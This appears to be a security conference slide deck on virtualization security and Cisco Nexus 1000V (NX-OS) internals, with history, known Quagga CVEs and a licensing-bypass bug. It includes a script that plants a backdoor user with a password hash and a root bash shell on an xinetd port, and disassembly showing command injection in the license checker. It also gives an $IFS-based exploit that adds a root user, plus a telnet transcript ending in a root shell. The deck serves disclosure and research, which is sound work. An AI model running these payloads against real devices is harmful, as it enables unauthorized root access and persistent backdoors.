
Observed by Greg & FX  





ÁGenerally, virtualization is the abstraction of 
resources towards the resource consumer 
ÁAn intermediate layer partitions the resource and 

presents it to the consumer via a standard 
interface 

ÁThe interface can be used by the consumer just 
like regular hardware 

ÁVendors mean different things when they say 
ñVirtualizationò: 
Ái.e. abstraction of a CPU-RAM-Storage context 

Ái.e. emulation of hardware 

Ái.e. telling more than one routing table apart 



Á1967: First systems with IBM CP-67 

Á1972: CP-67 supports virtual memory as well 
as VM-in-VM configuration 

Á1977: Introduction of OpenVMS 
ÁIncludes virtualization 

Á1985: Virtual memory and ñProtected Modeò 
Virtual Machine Monitor on Intel 80286 CPU 

Á1998: VMware patent on virtualization 

Á1999: VMware delivers first virtual platform 

Á2001: VMware Server product 

Á2003: Open Source hypervisor Xen 



ÁThe functional isolation that comes with 

virtualization causes people to think there 

is a general isolating property 

ÁVMMs primarily try to minimize trapping 

ÁProper virtualization is equivalent to the 

physical system 

ÁThere are no new security boundaries 

ÁSome natural security boundaries might, 

however, disappear on you 
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ÁCisco Nexus Operating System (NX-OS) 

Á4.2(1)SV1(5.1a) is what we looked at 

ÁMontavista Linux based (2.6.10 Kernel) 

ÁNX-OS originally developed for MDS SAN 

Devices 

ÁDevice shell (/isan/bin/vsh) looks like IOS 

ÁEverything runs as root 

 



ÁNexus 1000V is the virtual switch 

ÁNexus 1010 is the virtual router 

ÁBasically just Quagga (0.99.15) 
ÁWith known vulnerabilities: 
ÁCVE-2012-0255: Error in BGP OPEN Message parsing 

Can Cause a Crash of Quagga bgpd 

ÁCVE-2012-0250: Error in OSPF parsing Network-LSA 
messages Can Cause a Crash of Quagga ospfd 

ÁCVE-2012-0249: Error in OSPF parsing LS-Update 
messages Can Cause a Crash of Quagga ospfd 

ÁNexus Virtual Security Gateway is the 
virtual firewall 

 

 



ÁThis being a VMware VM, we can boot from network 
or CDROM 

ÁPartitions 5 and 6 of the virtual hard drive contain 
configuration files 
ÁIncluding Linux passwd and shadow 

ÁThe Linux configuration is in a TGZ ball of a TAR ball 
of some /etc files 
ÁThere is a .cksum next to it (MD5 sum of this file) 

ÁWe can add a user but not a root user 
ÁSome magic happens at boot time 

ÁWe can add a xinetd-service though 

ÁSo we can just add a shell user and gain root locally 

ÁIf you have two VSMs, now boot the other one,  
it will jailbreak itself for you 



#!/ bin/bash  
mkdir  - p / cisco/5  
mkdir  - p / cisco/6  
mount / dev /sda5 / cisco/5  
mount / dev /sda6 / cisco/6  
cd /cisco/5/ linux /  
tar xvzf  linux_cfg.tar.gz  
tar xvf  linux_files.tar  
echo 'admin2:x:2003:503::/ var /home/admin:/bin/bash' >> etc / passwd  
echo 'admin2:$1$6UVxCBYm$jVKidjHAeYOjYdElDJjXd.:15827:0:99999:7:::' >> etc /shadow  
cat > etc / xinetd.d / smtp  << EOF 
service smtp {  
    flags           = REUSE     
    socket_type      = stream     
    protocol        = tcp      
    user            = root     
    wait            = no     
    server          = /bin/bash     
    disable = no 
}  
EOF 
chmod 777 etc / xinetd.d / smtp  
tar cvf  linux_files.tar etc  isan  
tar cvzf  linux_cfg.tar.gz linux_files.tar  
md5sum linux_cfg.tar.gz >. cksum 
rm - rf  linux_files.tar etc  isan  
cp  linux_cfg.tar.gz . cksum /cisco/6/ linux /  
cd /  
umount  / cisco/5  
umount  / cisco/6  
reboot  



ÁThe N1kV requires license files to be 

installed 

ÁUses the FlexNet Publisher License Manager 

ÁFor compatibility reasons, we had to look 

at that implementation (more later) 

ÁOne can easily grab all binaries from the 

system and disassemble them in IDA 

ÁWe start with the shell, which implements 

the ñinstall licenseò command 



ÁIn /isan/bin/vshd, we find 

a number of external 

functions called licmgr_* 

ÁSo, letós check the 

licmgr binary 

ÁThere we find a function 

licmgr_validate_license 

ÁYes, there are symbols 



ÁLetós see what that function doesé 

.text:0806102B     mov     eax , [ebp+arg_4] ; license file name  

.text:0806102E     mov     [esp+10h], eax  

.text:08061032     mov     dword  ptr  [esp+0Ch], offset aTzUtcIsanBinLi  ;  
                                                "TZ=UTC / isan /bin/ liccheck "  
.text:0806103A     mov     dword  ptr  [esp+8], offset aSVS ; "%s - v %s"  
.text:08061042     mov     dword  ptr  [esp+4], 50h ; maxlen  
.text:0806104A     lea     eax , [ ebp+command]  
.text:0806104D     mov     [ esp ], eax       ; s  
.text:08061050     call    _ snprintf  
.text:08061055     lea     eax , [ ebp+command]  
.text:08061058     mov     [ esp ], eax       ; command  
.text:0806105B     call    _system  



ÁWe just found a plain 

command injection 

Áin a license checking 

module (WTF..) 

ÁLetós try it: 

c1000v# echo > $(halt). lic  
c1000v# install license $(halt). lic  
... (and no prompt comes back) ...  



ÁExploitation is a bit tricky though 

ÁThe license file needs to exist 

ÁIt may not contain {, }, >, <, |, SPACE, and 
some more handy characters 

ÁNo spaces characters Ą no way to 
provide command arguments 

Á{echo,foo} also wonót work (no curly braces) 

ÁLuckily, we can use $IFS 

ÁInput field separator 

ÁIn bash, $IFS == ñ \t\nñ 



cd  bootflash :  
delete xxx  
mkdir  xxx  
cd  xxx  
 
echo 'echo "magmakern:x:0:0::/ var /home/admin:/bin/bash" >> /etc/ passwd ' > runme  
echo "echo ' magmakern :$1$BsIW5Z1m$8G3jK99Brm2I46KcODLOT0:15838:0:99999:7:::'>> /etc/shadow" >> runme  
 
mkdir  $( bash$IFS "$a"  
cd  $( bash$IFS "$aò 
mkdir  bootflash  
cd  bootflash  
mkdir  xxx  
cd  xxx  
echo pwn3d > runme ). lic  
 
cd  bootflash :  
cd  xxx  
install license $( bash$IFS "$a"/ bootflash /xxx/ runme ). lic  
cd  ..  
delete xxx  



ÁThe jailbreak script adds a user to the 

system 

ÁUse telnet to log in: 
[ greg@host  ~]$ telnet - l magmakern  1.2.3.4  
Trying 1.2.3.4...  
Connected to cisco1000v.foo.tld.  
Escape character is '^]'.  
Password: industries  
Linux# id  
uid =0(root) gid =0(root)  
Linux# uname - a 
Linux c1000v 2.6.10 - bigphys_mvl401 - pc_target #1 Thu Jul 7 05:29:47 PDT 2011 i686 GNU/Linux  
Linux#  



ÁNX-OS has a number of functional issues: 

ÁThe ñethanalyzerò vsh command (actually just 

tshark) can write PCAP files. However, these 

are unreadable, since they are owned by root 

with mode 600 

ÁSCP to the virtual device fails: 

ñSyntax error while parsing óscp ït 0ôò 

ÁOpenSSH (4.5p1) fails with too many 

authentication failures if you have an 

RSA, DSA and an ECDSA identity 



ÁWhy talk about licensing? CSCud01427! 
ÁVSG gets into unlicensed mode after 1.5.1/1.5.1a 

to 1.5.2 upgrade. 

ÁCisco Virtual Security Gateway (VSG) for Cisco 
Nexus 1000V Series Switches, may be bypassed 
during VSM software upgrade due to the VSG 
license not being actively installed. 

ÁAll the virtual Ethernet ports on the VEM that 
correspond to the virtual machines (VMs) are 
kept in pass-through mode, so that these virtual 
machines are not firewalled. 

ÁThe VEM goes unlicensed mode for VSG,  
while VSM continues to show it licensed. 


